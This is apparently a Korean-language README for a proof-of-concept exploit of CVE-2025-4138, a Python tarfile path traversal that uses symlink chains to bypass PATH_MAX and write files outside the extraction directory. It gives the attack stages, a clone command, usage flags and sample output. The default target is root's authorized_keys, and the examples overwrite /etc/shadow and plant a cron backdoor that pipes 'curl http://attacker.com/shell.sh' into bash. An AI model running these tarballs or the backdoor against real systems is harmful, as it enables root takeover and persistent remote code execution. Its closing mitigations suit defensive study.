
CVE-2025-4138에 대한 Python PoC로, Python의 tarfile 모듈에서 심링크 체인을 악용하여 PATH_MAX를 우회하고 임의 파일 쓰기를 수행하는 경로 탐색(path traversal) 취약점입니다.
tarfile PATH_MAX 우회 PoC작성자: d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
[ Author: d3vn0mi ]
CVE-2025-4138에 대한 개념 증명(PoC) 익스플로잇으로, Python tarfile 모듈의 경로 순회(path traversal) 취약점입니다. 이 취약점을 통해 공격자는 악성 tar 아카이브를 제작하여, 심볼릭 링크 체인을 악용해 PATH_MAX를 초과하게 만듦으로써 의도된 압축 해제 디렉터리 밖의 임의 위치에 파일을 기록할 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-4138 |
| 구성 요소 | Python tarfile 모듈 |
| 유형 | 경로 순회 (CWE-22) |
| 공격 벡터 | 심볼릭 링크 체인 + PATH_MAX 우회 |
| 영향 | 압축 해제 디렉터리 외부 임의 파일 쓰기 |
이 익스플로잇은 네 단계로 동작합니다:
경로 확장(Path Inflation) -- 전체 확인(resolve) 경로가 커널의 PATH_MAX 제한(Linux 기준 4096바이트)을 초과하도록 깊게 중첩된 디렉터리와 심볼릭 링크 체인을 구성합니다.
피벗 심볼릭 링크(Pivot Symlink) -- 확인된 경로가 PATH_MAX 경계를 넘어서는 심볼릭 링크를 추가합니다. 경로가 너무 길어 확인할 수 없으므로 Python tarfile의 안전 검사(os.path.realpath()에 의존)가 조용히 실패하고 검증을 건너뜁니다.
탈출 심볼릭 링크(Escape Symlink) -- 두 번째 심볼릭 링크는 피벗을 통해 ../ 순회를 사용하여 압축 해제 디렉터리를 완전히 벗어나, 파일 시스템 상의 공격자가 제어하는 절대 경로를 가리키게 합니다.
페이로드 드롭(Payload Drop) -- 탈출 심볼릭 링크를 통해 일반 파일이 기록되어, 공격자가 제어하는 내용과 권한으로 대상 경로에 배치됩니다.
Extract dir
|
+-- ddd...d/ (247-char dir)
| +-- a -> ddd...d (symlink shortcut)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 levels deep, resolved path > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (pivot - PATH_MAX exceeded)
+-- escape -> pivot + ../../... + /target/dir (escape)
+-- escape/target_file <-- PAYLOAD LANDS HERE (outside extract dir)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
외부 의존성이 필요하지 않습니다. 이 익스플로잇은 Python 3 표준 라이브러리 모듈만 사용합니다.
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
| 플래그 | 설명 |
|---|---|
-o, --output | 출력 타르볼 경로 (기본값: exploit.tar) |
-t, --target | 대상에 기록할 파일의 절대 경로 (기본값: /root/.ssh/authorized_keys) |
-p, --payload | 내용이 페이로드가 되는 파일의 경로 |
-s, --payload-string | 리터럴 문자열을 페이로드로 사용 |
-k, --ssh-key | SSH 공개 키 파일의 경로 |
-m, --mode | 8진수 파일 권한 모드 (기본값: 0600) |
-d, --depth | 디렉터리 순회 깊이 (기본값: 8) |
-v, --verify | 생성 후 타르볼 내용 출력 |
-q, --quiet | 배너 표시 억제 |
SSH 공개 키를 root의 authorized_keys에 기록:
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
지속성을 위한 cron 작업 기록:
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
로컬 파일에서 임의 파일 내용 기록:
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*] Chain link 1/16: resolved path length ~247 bytes
[*] Chain link 2/16: resolved path length ~494 bytes
...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.
tarfile.data_filter 사용 (Python 3.12+) — 더 엄격한 압축 해제 제어 기능을 제공합니다.--strip-components 사용 또는 압축 해제 전에 아카이브 내용을 검증하세요.fs.protected_symlinks)과 같은 파일 시스템 수준의 보호 조치를 적용하세요.이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용에 대한 어떠한 책임도 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 적절한 서면 승인을 받으십시오.
이 프로젝트는 MIT 라이선스로 라이선스가 부여됩니다.
d3vn0mi | GitHub